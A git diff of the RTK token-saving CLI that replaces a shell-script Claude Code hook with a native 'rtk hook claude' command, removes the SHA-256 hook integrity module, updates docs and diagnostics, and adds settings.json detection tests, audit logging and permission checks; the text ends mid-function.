diff --git a/.claude/agents/system-architect.md b/.claude/agents/system-architect.md index 790deb4a..e37cf786 100644 --- a/.claude/agents/system-architect.md +++ b/.claude/agents/system-architect.md @@ -46,7 +46,7 @@ src/main.rs │ ├── tee.rs ← Raw output recovery on failure │ ├── filter.rs ← Language-aware code filtering │ └── utils.rs ← strip_ansi, truncate, execute_command -├── hooks/ ← init, rewrite, verify, trust, integrity +├── hooks/ ← init, rewrite, verify, trust └── analytics/ ← gain, cc_economics, ccusage, session_cmd ``` diff --git a/.claude/agents/technical-writer.md b/.claude/agents/technical-writer.md index f5341af4..8e56b6fd 100644 --- a/.claude/agents/technical-writer.md +++ b/.claude/agents/technical-writer.md @@ -191,17 +191,28 @@ RTK integrates with Claude Code via bash hooks for transparent command rewriting 4. RTK applies filter, returns condensed output 5. Claude sees token-optimized result (80% savings) -## Hook Files - -- `.claude/hooks/rtk-rewrite.sh` - Command rewriting (DO NOT MODIFY) -- `.claude/hooks/rtk-suggest.sh` - Suggestion when filter available +## Hook Configuration + +RTK uses native hooks defined in `~/.claude/settings.json`: +```json +{ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "rtk hook claude" + }] + }] + } +} +``` ## Verification -**Check hooks are active**: +**Check hook is active**: ```bash -ls -la .claude/hooks/*.sh -# Should show -rwxr-xr-x (executable) +rtk init --show # Should show "✅ Hook: installed" ``` **Test hook integration** (in Claude Code session): diff --git a/.claude/commands/diagnose.md b/.claude/commands/diagnose.md index f9142276..17066791 100644 --- a/.claude/commands/diagnose.md +++ b/.claude/commands/diagnose.md @@ -36,30 +36,14 @@ git status --short && git branch --show-current ```bash # Hook configuration check -if [ -f ".claude/hooks/rtk-rewrite.sh" ]; then - echo "✅ OK: rtk-rewrite.sh hook present" - # Check if hook is executable - if [ -x ".claude/hooks/rtk-rewrite.sh" ]; then - echo "✅ OK: hook is executable" +if [ -f ".claude/settings.json" ]; then + if grep -q '"rtk hook claude' ".claude/settings.json" 2>/dev/null; then + echo "✅ OK: RTK native hook configured in settings.json" else - echo "⚠️ WARNING: hook not executable (chmod +x needed)" + echo "⚠️ WARNING: RTK hook not found in settings.json" fi else - echo "❌ MISSING: rtk-rewrite.sh hook" -fi -``` - -```bash -# Hook rtk-suggest.sh check -if [ -f ".claude/hooks/rtk-suggest.sh" ]; then - echo "✅ OK: rtk-suggest.sh hook present" - if [ -x ".claude/hooks/rtk-suggest.sh" ]; then - echo "✅ OK: hook is executable" - else - echo "⚠️ WARNING: hook not executable (chmod +x needed)" - fi -else - echo "❌ MISSING: rtk-suggest.sh hook" + echo "⚠️ WARNING: settings.json not found" fi ``` @@ -158,10 +142,10 @@ multiSelect: true options: - label: "cargo install --path ." description: "Installer RTK localement depuis le repo" - - label: "chmod +x .claude/hooks/bash/*.sh" - description: "Rendre les hooks exécutables" + - label: "rtk init -g --auto-patch" + description: "Réinstaller les hooks natifs RTK" - label: "Tout corriger (recommandé)" - description: "Install RTK + fix hooks permissions" + description: "Install RTK + réinstaller hooks" ``` **Adaptations selon contexte** : @@ -177,13 +161,13 @@ options: description: "Installer RTK via Homebrew (macOS/Linux)" ``` -### Si hooks manquants/non exécutables +### Si hooks manquants/non configurés ``` options: - - label: "chmod +x .claude/hooks/*.sh" - description: "Rendre tous les hooks exécutables" - - label: "Copier hooks depuis template" - description: "Si hooks manquants, copier depuis repository principal" + - label: "rtk init -g" + description: "Réinstaller les hooks natifs RTK" + - label: "rtk init --show" + description: "Vérifier l'état des hooks" ``` ### Si rtk gain échoue @@ -205,11 +189,11 @@ cargo install --path . which rtk && rtk --version ``` -### Fix 2 : Rendre hooks exécutables +### Fix 2 : Réinstaller les hooks natifs ```bash -chmod +x .claude/hooks/*.sh -# Vérifier permissions -ls -la .claude/hooks/*.sh +rtk init -g --auto-patch +# Vérifier installation +rtk init --show ``` ### Fix 3 : Tout corriger (recommandé) @@ -217,8 +201,8 @@ ls -la .claude/hooks/*.sh # Install RTK cargo install --path . -# Fix hooks permissions -chmod +x .claude/hooks/*.sh +# Réinstaller les hooks +rtk init -g --auto-patch # Verify which rtk && rtk --version && rtk gain --history | head -3 @@ -319,18 +303,18 @@ rtk gain --help # Should work echo $CLAUDE_CODE_HOOK_BASH_TEMPLATE # Should print hook template path - if empty, not in Claude Code -# Check hooks exist and executable -ls -la .claude/hooks/*.sh -# Should show -rwxr-xr-x (executable) +# Check if native hook is configured +rtk init --show +# Should show "✅ Hook: installed" ``` **Fix**: ```bash -# Make hooks executable -chmod +x .claude/hooks/*.sh +# Reinstall native hooks +rtk init -g --auto-patch -# Verify hooks load in new Claude Code session -# (restart Claude Code session after chmod) +# Verify in new Claude Code session +# (restart Claude Code session after reinstall) ``` ## Version Compatibility Matrix diff --git a/.claude/rules/search-strategy.md b/.claude/rules/search-strategy.md index 0b4504df..fbdfa3ec 100644 --- a/.claude/rules/search-strategy.md +++ b/.claude/rules/search-strategy.md @@ -31,8 +31,7 @@ src/ │ ├── hook_cmd.rs ← Gemini/Copilot hook processors │ ├── hook_check.rs ← Hook status detection │ ├── verify_cmd.rs ← rtk verify command -│ ├── trust.rs ← Project trust/untrust -│ └── integrity.rs ← SHA-256 hook verification +│ └── trust.rs ← Project trust/untrust ├── analytics/ ← Token savings analytics │ ├── gain.rs ← rtk gain command │ ├── cc_economics.rs ← Claude Code economics diff --git a/.gitignore b/.gitignore index fdba0978..9a8b2c7a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,9 +1,11 @@ # Build /target +.cargo-ok # Environment & Secrets .env .env.* +settings.local.json *.pem *.key *.crt diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index a803dcbd..c3b29f44 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -182,7 +182,7 @@ Savings by ecosystem: - **Command Modules**: `src/cmds/` — organized by ecosystem (git, rust, js, python, go, dotnet, cloud, system, ruby). Each ecosystem README lists its files. - **Core Infrastructure**: `src/core/` — utils, filter, tracking, tee, config, toml_filter, display_helpers, telemetry -- **Hook System**: `src/hooks/` — init, rewrite, permissions, hook_cmd, hook_check, hook_audit, verify, trust, integrity +- **Hook System**: `src/hooks/` — init, rewrite, permissions, hook_cmd, hook_check, hook_audit, verify, trust - **Analytics**: `src/analytics/` — gain, cc_economics, ccusage, session_cmd ### Module Count Breakdown diff --git a/INSTALL.md b/INSTALL.md index 98457d09..05697e85 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -93,7 +93,7 @@ rtk gain # MUST show token savings, not "command not found" ```bash rtk init -g -# → Installs hook to ~/.claude/hooks/rtk-rewrite.sh +# → Configures native hook in settings.json # → Creates ~/.claude/RTK.md (10 lines, meta commands only) # → Adds @RTK.md reference to ~/.claude/CLAUDE.md # → Prompts: "Patch settings.json? [y/N]" @@ -113,22 +113,21 @@ rtk init --show # Check hook is installed and executable Claude Code's hook registry. RTK adds a PreToolUse hook that rewrites commands transparently. Without this, Claude won't invoke the hook automatically. ``` - Claude Code settings.json rtk-rewrite.sh RTK binary - │ │ │ │ - │ "git status" │ │ │ - │ ──────────────────►│ │ │ - │ │ PreToolUse trigger │ │ - │ │ ───────────────────►│ │ - │ │ │ rewrite command │ - │ │ │ → rtk git status │ - │ │◄────────────────────│ │ - │ │ updated command │ │ - │ │ │ - │ execute: rtk git status │ - │ ─────────────────────────────────────────────────────────────►│ - │ │ filter - │ "3 modified, 1 untracked ✓" │ - │◄──────────────────────────────────────────────────────────────│ + Claude Code settings.json RTK binary (native hook) + │ │ │ + │ "git status" │ │ + │ ──────────────────►│ │ + │ │ PreToolUse trigger │ + │ │ ────────────────────►│ + │ │ │ rewrite command + │ │ │ → rtk git status + │ │◄─────────────────────│ updated command + │ │ │ + │ execute: rtk git status │ + │ ──────────────────────────────────────────────►│ + │ │ filter + │ "3 modified, 1 untracked ✓" │ + │◄─────────────────────────────────────────────────│ ``` **Backup Safety**: @@ -247,7 +246,6 @@ rtk vitest run rtk init -g --uninstall # What gets removed: -# - Hook: ~/.claude/hooks/rtk-rewrite.sh # - Context: ~/.claude/RTK.md # - Reference: @RTK.md line from ~/.claude/CLAUDE.md # - Registration: RTK hook entry from settings.json diff --git a/SECURITY.md b/SECURITY.md index 2d06b77c..73b37b18 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -52,7 +52,7 @@ The following files are considered **high-risk** and trigger mandatory 2-reviewe - **`src/summary.rs`** - Command output aggregation (data exfiltration risk) - **`src/tracking.rs`** - SQLite database operations (privacy/telemetry concerns) - **`src/discover/registry.rs`** - Rewrite logic for all commands (command injection risk via rewrite rules) -- **`hooks/rtk-rewrite.sh`** / **`.claude/hooks/rtk-rewrite.sh`** - Thin delegator hook (executes in Claude Code context, intercepts all commands) +- **`src/hooks/hook_cmd.rs`** - Native hook processor (executes in Claude Code context, intercepts all commands) ### Tier 2: Input Validation - **`src/pnpm_cmd.rs`** - Package name validation (prevents injection via malicious names) diff --git a/docs/FEATURES.md b/docs/FEATURES.md index 061a604a..e0636e4d 100644 --- a/docs/FEATURES.md +++ b/docs/FEATURES.md @@ -1224,9 +1224,8 @@ rtk init -g --uninstall # Desinstaller | Fichier | Description | |---------|-------------| -| `~/.claude/hooks/rtk-rewrite.sh` | Script hook (delegue a `rtk rewrite`) | +| `~/.claude/settings.json` | Configuration du hook natif `rtk hook claude` | | `~/.claude/RTK.md` | Instructions minimales pour le LLM | -| `~/.claude/settings.json` | Enregistrement du hook PreToolUse | ### `rtk rewrite` -- Recriture de commande diff --git a/docs/TECHNICAL.md b/docs/TECHNICAL.md index 541f712d..3dc84b0c 100644 --- a/docs/TECHNICAL.md +++ b/docs/TECHNICAL.md @@ -71,9 +71,8 @@ This is the full lifecycle of a command through RTK, from LLM agent to filtered The user runs `rtk init` to set up hooks for their LLM agent. This: 1. Writes a thin shell hook script (e.g., `~/.claude/hooks/rtk-rewrite.sh`) -2. Stores its SHA-256 hash for integrity verification -3. Patches the agent's settings file (e.g., `settings.json`) to register the hook -4. Writes RTK awareness instructions (e.g., `RTK.md`) for prompt-level guidance +2. Patches the agent's settings file (e.g., `settings.json`) to register the hook +3. Writes RTK awareness instructions (e.g., `RTK.md`) for prompt-level guidance RTK supports 7 agents, each with its own installation mode. The hook scripts are embedded in the binary and written at install time. @@ -101,8 +100,7 @@ Once the rewritten command reaches RTK: 1. **Telemetry**: `telemetry::maybe_ping()` fires a non-blocking daily usage ping 2. **Clap parsing**: `Cli::try_parse()` matches against the `Commands` enum 3. **Hook check**: `hook_check::maybe_warn()` warns if the installed hook is outdated (rate-limited to 1/day) -4. **Integrity check**: `integrity::runtime_check()` verifies the hook's SHA-256 hash for operational commands -5. **Routing**: A `match cli.command` dispatches to the specialized filter module +4. **Routing**: A `match cli.command` dispatches to the specialized filter module If Clap parsing fails (command not in the enum), the fallback path runs instead. @@ -182,7 +180,7 @@ Start here, then drill down into each README for file-level details. |-----------|-------------|-------------------------------| | `main.rs` | CLI entry point, `Commands` enum, routing match | _(no README — read the file directly)_ | | [`core/`](../src/core/README.md) | Shared infrastructure | Tracking DB schema, config system, tee recovery, TOML filter engine, utility functions | -| [`hooks/`](../src/hooks/README.md) | Hook system | Installation flow (`rtk init`), integrity verification, rewrite command, trust model | +| [`hooks/`](../src/hooks/README.md) | Hook system | Installation flow (`rtk init`), rewrite command, trust model | | [`analytics/`](../src/analytics/README.md) | Token savings analytics | `rtk gain` dashboard, Claude Code economics, ccusage parsing | | [`cmds/`](../src/cmds/README.md) | **Command filters (9 ecosystems)** | Common filter pattern, cross-command routing, token savings table, **links to each ecosystem** | | [`discover/`](../src/discover/README.md) | History analysis + rewrite registry | Rewrite patterns, session providers, compound command splitting | @@ -221,7 +219,7 @@ RTK supports the following LLM agents through hook integrations: | Codex CLI | Awareness doc | AGENTS.md integration | N/A (prompt) | | OpenCode | TS plugin | `tool.execute.before` event | Yes (in-place mutation) | -> **Details**: [`hooks/README.md`](../hooks/README.md) has the full JSON schemas for each agent. [`src/hooks/README.md`](../src/hooks/README.md) covers installation, integrity verification, and the rewrite command. +> **Details**: [`hooks/README.md`](../hooks/README.md) has the full JSON schemas for each agent. [`src/hooks/README.md`](../src/hooks/README.md) covers installation, the rewrite command, and trust management. --- diff --git a/docs/TROUBLESHOOTING.md b/docs/TROUBLESHOOTING.md index cf52f026..c832a297 100644 --- a/docs/TROUBLESHOOTING.md +++ b/docs/TROUBLESHOOTING.md @@ -138,13 +138,11 @@ rtk init --show # Should show "✅ Hook: executable, with guards" **Option B: Manual (fallback)** ```bash -# Copy hook to Claude Code hooks directory -mkdir -p ~/.claude/hooks -cp .claude/hooks/rtk-rewrite.sh ~/.claude/hooks/ -chmod +x ~/.claude/hooks/rtk-rewrite.sh +# Verify rtk is in PATH +which rtk # Should show rtk binary location ``` -Then add to `~/.claude/settings.json` (replace `~` with full path): +Then add to `~/.claude/settings.json`: ```json { "hooks": { @@ -154,7 +152,7 @@ Then add to `~/.claude/settings.json` (replace `~` with full path): "hooks": [ { "type": "command", - "command": "/Users/yourname/.claude/hooks/rtk-rewrite.sh" + "command": "rtk hook claude" } ] } @@ -163,7 +161,7 @@ Then add to `~/.claude/settings.json` (replace `~` with full path): } ``` -**Note**: Use absolute path in `settings.json`, not `~/.claude/...` +**Note**: The native `rtk hook claude` command is built into the RTK binary — no separate script file needed. --- diff --git a/hooks/README.md b/hooks/README.md index 9d5e6380..c5cd3242 100644 --- a/hooks/README.md +++ b/hooks/README.md @@ -6,7 +6,7 @@ Owns: per-agent hook scripts and configuration files for 7 supported agents (Claude Code, Copilot, Cursor, Cline, Windsurf, Codex, OpenCode). -Does **not** own: hook installation/uninstallation (that's `src/hooks/init.rs`), the rewrite pattern registry (that's `discover/registry`), or integrity verification (that's `src/hooks/integrity.rs`). +Does **not** own: hook installation/uninstallation (that's `src/hooks/init.rs`) or the rewrite pattern registry (that's `discover/registry`). Relationship to `src/hooks/`: that component **creates** these files; this directory **contains** them. diff --git a/src/hooks/README.md b/src/hooks/README.md index 65e05f03..4ef02721 100644 --- a/src/hooks/README.md +++ b/src/hooks/README.md @@ -4,9 +4,9 @@ ## Scope -The **lifecycle management** layer for LLM agent hooks: install, uninstall, verify integrity, audit usage, and manage trust. This component creates and maintains the hook artifacts that live in `hooks/` (root), but does **not** execute rewrite logic itself — that lives in `discover/registry`. +The **lifecycle management** layer for LLM agent hooks: install, uninstall, audit usage, and manage trust. This component creates and maintains the hook artifacts that live in `hooks/` (root), but does **not** execute rewrite logic itself — that lives in `discover/registry`. -Owns: `rtk init` installation flows (4 agents via `AgentTarget` enum + 3 special modes: Gemini, Codex, OpenCode), SHA-256 integrity verification, hook version checking, audit log analysis, `rtk rewrite` CLI entry point, and TOML filter trust management. +Owns: `rtk init` installation flows (4 agents via `AgentTarget` enum + 3 special modes: Gemini, Codex, OpenCode), hook version checking, audit log analysis, `rtk rewrite` CLI entry point, and TOML filter trust management. Does **not** own: the deployed hook scripts themselves (that's `hooks/`), the rewrite pattern registry (that's `discover/`), or command filtering (that's `cmds/`). @@ -23,30 +23,14 @@ LLM agent integration layer that installs, validates, and executes command-rewri | Mode | Command | Creates | Patches | |------|---------|---------|---------| -| Default (global) | `rtk init -g` | Hook, SHA-256 hash, RTK.md | settings.json, CLAUDE.md | -| Hook only | `rtk init -g --hook-only` | Hook, SHA-256 hash | settings.json | +| Default (global) | `rtk init -g` | Hook, RTK.md | settings.json, CLAUDE.md | +| Hook only | `rtk init -g --hook-only` | Hook | settings.json | | Claude-MD (legacy) | `rtk init --claude-md` | 134-line RTK block | CLAUDE.md | | Windsurf | `rtk init -g --agent windsurf` | `.windsurfrules` | -- | | Cline | `rtk init --agent cline` | `.clinerules` | -- | | Codex | `rtk init --codex` | RTK.md | AGENTS.md | | Cursor | `rtk init -g --agent cursor` | Cursor hook | hooks.json | - -## Integrity Verification - -The integrity system prevents unauthorized hook modifications: - -1. At install: `integrity::store_hash()` computes SHA-256 of the hook file, writes to `~/.claude/hooks/.rtk-hook.sha256` (read-only 0o444) -2. At runtime: `integrity::runtime_check()` re-computes hash and compares; blocks execution if tampered -3. On demand: `rtk verify` prints detailed verification status (PASS/FAIL/WARN/SKIP) - -Five integrity states: -- **Verified**: Hash matches stored value -- **Tampered**: Hash mismatch (blocks execution) -- **NoBaseline**: Hook exists but no hash stored (old install) -- **NotInstalled**: No hook, no hash -- **OrphanedHash**: Hash file exists, hook missing - ## PatchMode Behavior Controls how `rtk init` modifies agent settings files: @@ -70,4 +54,4 @@ Hook processors in `hook_cmd.rs` must return `Ok(())` on every path — success, - `hook_cmd.rs::run_gemini()` — uses `.context()?` on JSON parse, which returns `Err` on malformed input ## Adding New Functionality -To add support for a new AI coding agent: (1) add the hook installation logic to `init.rs` following the existing agent patterns, (2) if the agent requires a custom hook protocol (like Gemini's `BeforeTool`), add a processor function in `hook_cmd.rs`, (3) add the agent's hook file path to `hook_check.rs` for validation, and (4) update `integrity.rs` with the expected hash for the new hook file. Test by running `rtk init` in a fresh environment and verifying the hook rewrites commands correctly in the target agent. +To add support for a new AI coding agent: (1) add the hook installation logic to `init.rs` following the existing agent patterns, (2) if the agent requires a custom hook protocol (like Gemini's `BeforeTool`), add a processor function in `hook_cmd.rs`, and (3) add the agent's hook file path to `hook_check.rs` for validation. Test by running `rtk init` in a fresh environment and verifying the hook rewrites commands correctly in the target agent. diff --git a/src/hooks/hook_check.rs b/src/hooks/hook_check.rs index 9fb0b337..9ed98b8c 100644 --- a/src/hooks/hook_check.rs +++ b/src/hooks/hook_check.rs @@ -1,8 +1,8 @@ //! Detects whether RTK hooks are installed and warns if they are outdated. use std::path::PathBuf; +use serde_json::Value as JsonValue; -const CURRENT_HOOK_VERSION: u8 = 3; const WARN_INTERVAL_SECS: u64 = 24 * 3600; /// Hook status for diagnostics and `rtk gain`. @@ -18,27 +18,101 @@ pub enum HookStatus { /// Return the current hook status without printing anything. /// Returns `Ok` if no Claude Code is detected (not applicable). +/// Returns actual status based on settings.json inspection. pub fn status() -> HookStatus { + use std::fs; + // Don't warn users who don't have Claude Code installed let home = match dirs::home_dir() { Some(h) => h, None => return HookStatus::Ok, }; - if !home.join(".claude").exists() { + let claude_dir = home.join(".claude"); + if !claude_dir.exists() { return HookStatus::Ok; } - let Some(hook_path) = hook_installed_path() else { + let settings_path = claude_dir.join("settings.json"); + if !settings_path.exists() { + // Claude Code dir exists but no settings.json return HookStatus::Missing; + } + + // Read and parse settings.json + let content = match fs::read_to_string(&settings_path) { + Ok(c) => c, + Err(_) => return HookStatus::Missing, // Can't read = treat as missing }; - let Ok(content) = std::fs::read_to_string(&hook_path) else { - return HookStatus::Outdated; // exists but unreadable — treat as needs-update + + if content.trim().is_empty() { + return HookStatus::Missing; + } + + let root: JsonValue = match serde_json::from_str(&content) { + Ok(v) => v, + Err(_) => return HookStatus::Outdated, // Invalid JSON = outdated }; - if parse_hook_version(&content) >= CURRENT_HOOK_VERSION { - HookStatus::Ok - } else { - HookStatus::Outdated + + // Check for native hook "rtk hook claude" + if hook_present(&root, "rtk hook claude") { + return HookStatus::Ok; + } + + // Check for legacy hook (rtk-rewrite.sh script) + if legacy_hook_present(&root) { + return HookStatus::Outdated; } + + // Hook not configured at all + HookStatus::Missing +} + +/// Check if native RTK hook is present in settings.json +fn hook_present(root: &JsonValue, hook_command: &str) -> bool { + let pre_tool_use = match root + .get("hooks") + .and_then(|h| h.get("PreToolUse")) + .and_then(|p| p.as_array()) + { + Some(arr) => arr, + None => return false, + }; + + pre_tool_use + .iter() + .filter_map(|entry| entry.get("hooks")?.as_array()) + .flatten() + .filter_map(|h| h.get("command")?.as_str()) + .any(|cmd| cmd == hook_command || cmd.contains("rtk hook")) +} + +/// Check if legacy rtk-rewrite.sh hook is present +fn legacy_hook_present(root: &JsonValue) -> bool { + let pre_tool_use = match root + .get("hooks") + .and_then(|h| h.get("PreToolUse")) + .and_then(|p| p.as_array()) + { + Some(arr) => arr, + None => return false, + }; + + pre_tool_use.iter().any(|entry| { + entry.get("matcher") + .and_then(|m| m.as_str()) + .map(|m| m == "Bash") + .unwrap_or(false) + && entry + .pointer("/hooks/0/type") + .and_then(|t| t.as_str()) + .map(|t| t == "command") + .unwrap_or(false) + && entry + .pointer("/hooks/0/command") + .and_then(|c| c.as_str()) + .map(|c| c.contains("rtk-rewrite.sh")) + .unwrap_or(false) + }) } /// Check if the installed hook is missing or outdated, warn once per day. @@ -76,27 +150,6 @@ fn check_and_warn() -> Option<()> { Some(()) } -pub fn parse_hook_version(content: &str) -> u8 { - // Version tag must be in the first 5 lines (shebang + header convention) - for line in content.lines().take(5) { - if let Some(rest) = line.strip_prefix("# rtk-hook-version:") { - if let Ok(v) = rest.trim().parse::() { - return v; - } - } - } - 0 // No version tag = version 0 (outdated) -} - -fn hook_installed_path() -> Option { - let home = dirs::home_dir()?; - let path = home.join(".claude").join("hooks").join("rtk-rewrite.sh"); - if path.exists() { - Some(path) - } else { - None - } -} fn warn_marker_path() -> Option { let data_dir = dirs::data_local_dir()?.join("rtk"); @@ -107,30 +160,6 @@ fn warn_marker_path() -> Option { mod tests { use super::*; - #[test] - fn test_parse_hook_version_present() { - let content = "#!/usr/bin/env bash\n# rtk-hook-version: 2\n# some comment\n"; - assert_eq!(parse_hook_version(content), 2); - } - - #[test] - fn test_parse_hook_version_missing() { - let content = "#!/usr/bin/env bash\n# old hook without version\n"; - assert_eq!(parse_hook_version(content), 0); - } - - #[test] - fn test_parse_hook_version_future() { - let content = "#!/usr/bin/env bash\n# rtk-hook-version: 5\n"; - assert_eq!(parse_hook_version(content), 5); - } - - #[test] - fn test_parse_hook_version_no_tag() { - assert_eq!(parse_hook_version("no version here"), 0); - assert_eq!(parse_hook_version(""), 0); - } - #[test] fn test_hook_status_enum() { assert_ne!(HookStatus::Ok, HookStatus::Missing); @@ -143,31 +172,160 @@ mod tests { #[test] fn test_status_returns_valid_variant() { - // Skip on machines without Claude Code or without hook let home = match dirs::home_dir() { Some(h) => h, - None => return, - }; - if !home - .join(".claude") - .join("hooks") - .join("rtk-rewrite.sh") - .exists() - { - // No hook — status should be Missing (if .claude exists) or Ok (if not) - let s = status(); - if home.join(".claude").exists() { - assert_eq!(s, HookStatus::Missing); - } else { - assert_eq!(s, HookStatus::Ok); + None => { + // No home dir - should return Ok (not applicable) + assert_eq!(status(), HookStatus::Ok); + return; } + }; + + if !home.join(".claude").exists() { + // Claude Code not installed - not applicable + assert_eq!(status(), HookStatus::Ok); return; } + + // If we reach here, Claude Code is installed + // The actual status depends on whether hook is installed let s = status(); - assert!( - s == HookStatus::Ok || s == HookStatus::Outdated, - "Expected Ok or Outdated when hook exists, got {:?}", - s - ); + // All variants are valid depending on hook state + assert!(matches!( + s, + HookStatus::Ok | HookStatus::Missing | HookStatus::Outdated + )); + } + + #[test] + fn test_hook_present_detection() { + let json = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "rtk hook claude" + }] + }] + } + }); + assert!(hook_present(&json, "rtk hook claude")); + } + + #[test] + fn test_hook_present_fuzzy_match() { + // Should also match commands containing "rtk hook" + let json = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "rtk hook gemini" + }] + }] + } + }); + assert!(hook_present(&json, "rtk hook claude")); + } + + #[test] + fn test_hook_present_false_when_missing() { + let json = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "other-command" + }] + }] + } + }); + assert!(!hook_present(&json, "rtk hook claude")); + } + + #[test] + fn test_hook_present_no_hooks_array() { + let json = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash" + }] + } + }); + assert!(!hook_present(&json, "rtk hook claude")); + } + + #[test] + fn test_hook_present_no_pretooluse() { + let json = serde_json::json!({ + "hooks": {} + }); + assert!(!hook_present(&json, "rtk hook claude")); + } + + #[test] + fn test_legacy_hook_detection() { + let json = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "/path/to/rtk-rewrite.sh" + }] + }] + } + }); + assert!(legacy_hook_present(&json)); + } + + #[test] + fn test_legacy_hook_false_with_native_hook() { + let json = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "rtk hook claude" + }] + }] + } + }); + assert!(!legacy_hook_present(&json)); + } + + #[test] + fn test_legacy_hook_false_no_matcher() { + let json = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "hooks": [{ + "type": "command", + "command": "/path/to/rtk-rewrite.sh" + }] + }] + } + }); + assert!(!legacy_hook_present(&json)); + } + + #[test] + fn test_legacy_hook_false_wrong_type() { + let json = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "builtin", + "command": "/path/to/rtk-rewrite.sh" + }] + }] + } + }); + assert!(!legacy_hook_present(&json)); } } diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 8eb4e2fa..b58e41ef 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -2,9 +2,45 @@ use anyhow::{Context, Result}; use serde_json::{json, Value}; -use std::io::{self, Read}; +use std::fs::OpenOptions; +use std::io::{self, Read, Write}; +use std::path::PathBuf; use crate::discover::registry::rewrite_command; +use super::permissions::{check_command, PermissionVerdict}; + +#[cfg(test)] +use super::permissions::check_command_with_rules; + +/// Log hook activity to audit log (opt-in via RTK_HOOK_AUDIT=1). +/// Writes to ~/.local/share/rtk/hook-audit.log or $RTK_AUDIT_DIR/hook-audit.log. +fn audit_log(action: &str, original_cmd: &str, rewritten_cmd: Option<&str>) { + if std::env::var("RTK_HOOK_AUDIT").unwrap_or_default() != "1" { + return; + } + + let audit_dir = std::env::var("RTK_AUDIT_DIR") + .unwrap_or_else(|_| { + let home = std::env::var("HOME").unwrap_or_else(|_| "/tmp".to_string()); + format!("{}/.local/share/rtk", home) + }); + + // Create directory if needed (ignore errors - audit is opt-in) + let _ = std::fs::create_dir_all(&audit_dir); + + let log_path = PathBuf::from(&audit_dir).join("hook-audit.log"); + let timestamp = chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ"); + + let rewritten = rewritten_cmd.unwrap_or("-"); + let log_line = format!("{} | {} | {} | {}\n", timestamp, action, original_cmd, rewritten); + + // Append to log file (ignore errors - audit is opt-in) + let _ = OpenOptions::new() + .create(true) + .append(true) + .open(log_path) + .and_then(|mut f| f.write_all(log_line.as_bytes())); +} // ── Copilot hook (VS Code + Copilot CLI) ────────────────────── @@ -28,6 +64,7 @@ pub fn run_copilot() -> Result<()> { let input = input.trim(); if input.is_empty() { + audit_log("skip:empty", "-", None); return Ok(()); } @@ -35,6 +72,7 @@ pub fn run_copilot() -> Result<()> { Ok(v) => v, Err(e) => { eprintln!("[rtk hook] Failed to parse JSON input: {e}"); + audit_log("skip:parse_error", "-", None); return Ok(()); } }; @@ -105,9 +143,52 @@ fn get_rewritten(cmd: &str) -> Option { } fn handle_vscode(cmd: &str) -> Result<()> { + // Skip heredocs early + if cmd.contains("<<") { + audit_log("skip:heredoc", cmd, None); + return Ok(()); + } + + // SECURITY: check deny/ask BEFORE rewrite so non-RTK commands are also covered. + let verdict = check_command(cmd); + + match verdict { + PermissionVerdict::Deny => { + // Return deny response - let Claude Code's native deny handling take over + // We don't print anything, which signals denial + audit_log("skip:deny_rule", cmd, None); + return Ok(()); + } + PermissionVerdict::Ask => { + // For Ask: rewrite but signal ask so Claude Code prompts the user + if let Some(rewritten) = get_rewritten(cmd) { + let output = json!({ + "hookSpecificOutput": { + "hookEventName": "PreToolUse", + "permissionDecision": "ask", + "permissionDecisionReason": "Permission required for this command", + "updatedInput": { "command": rewritten } + } + }); + println!("{output}"); + audit_log("ask", cmd, Some(&rewritten)); + } else { + audit_log("ask", cmd, None); + } + // If no rewrite, pass through with ask signal + return Ok(()); + } + PermissionVerdict::Allow => { + // Proceed with rewrite + } + } + let rewritten = match get_rewritten(cmd) { Some(r) => r, - None => return Ok(()), + None => { + audit_log("skip:no_match", cmd, None); + return Ok(()); + } }; let output = json!({ @@ -119,13 +200,35 @@ fn handle_vscode(cmd: &str) -> Result<()> { } }); println!("{output}"); + audit_log("rewrite", cmd, Some(&rewritten)); Ok(()) } fn handle_copilot_cli(cmd: &str) -> Result<()> { + // Skip heredocs early + if cmd.contains("<<") { + audit_log("skip:heredoc", cmd, None); + return Ok(()); + } + + // SECURITY: check deny/ask BEFORE rewrite so non-RTK commands are also covered. + let verdict = check_command(cmd); + + // Deny takes priority - if a deny rule matches, don't suggest rewrite + if verdict == PermissionVerdict::Deny { + // Return deny without suggestion - Copilot CLI will use its native deny handling + audit_log("skip:deny_rule", cmd, None); + return Ok(()); + } + + // For Ask: still show the rewrite suggestion but Copilot CLI doesn't support ask + // We'll show the deny-with-suggestion format as before let rewritten = match get_rewritten(cmd) { Some(r) => r, - None => return Ok(()), + None => { + audit_log("skip:no_match", cmd, None); + return Ok(()); + } }; let output = json!({ @@ -136,9 +239,52 @@ fn handle_copilot_cli(cmd: &str) -> Result<()> { ) }); println!("{output}"); + audit_log("rewrite", cmd, Some(&rewritten)); Ok(()) } +// ── Claude Code hook ─────────────────────────────────────────── + +/// Run Claude Code PreToolUse hook. +/// Reads JSON from stdin, rewrites shell commands to rtk equivalents, +/// outputs JSON to stdout in Claude Code format. +pub fn run_claude() -> Result<()> { + let mut input = String::new(); + io::stdin() + .read_to_string(&mut input) + .context("Failed to read stdin")?; + + let input = input.trim(); + if input.is_empty() { + audit_log("skip:empty", "-", None); + return Ok(()); + } + + let v: 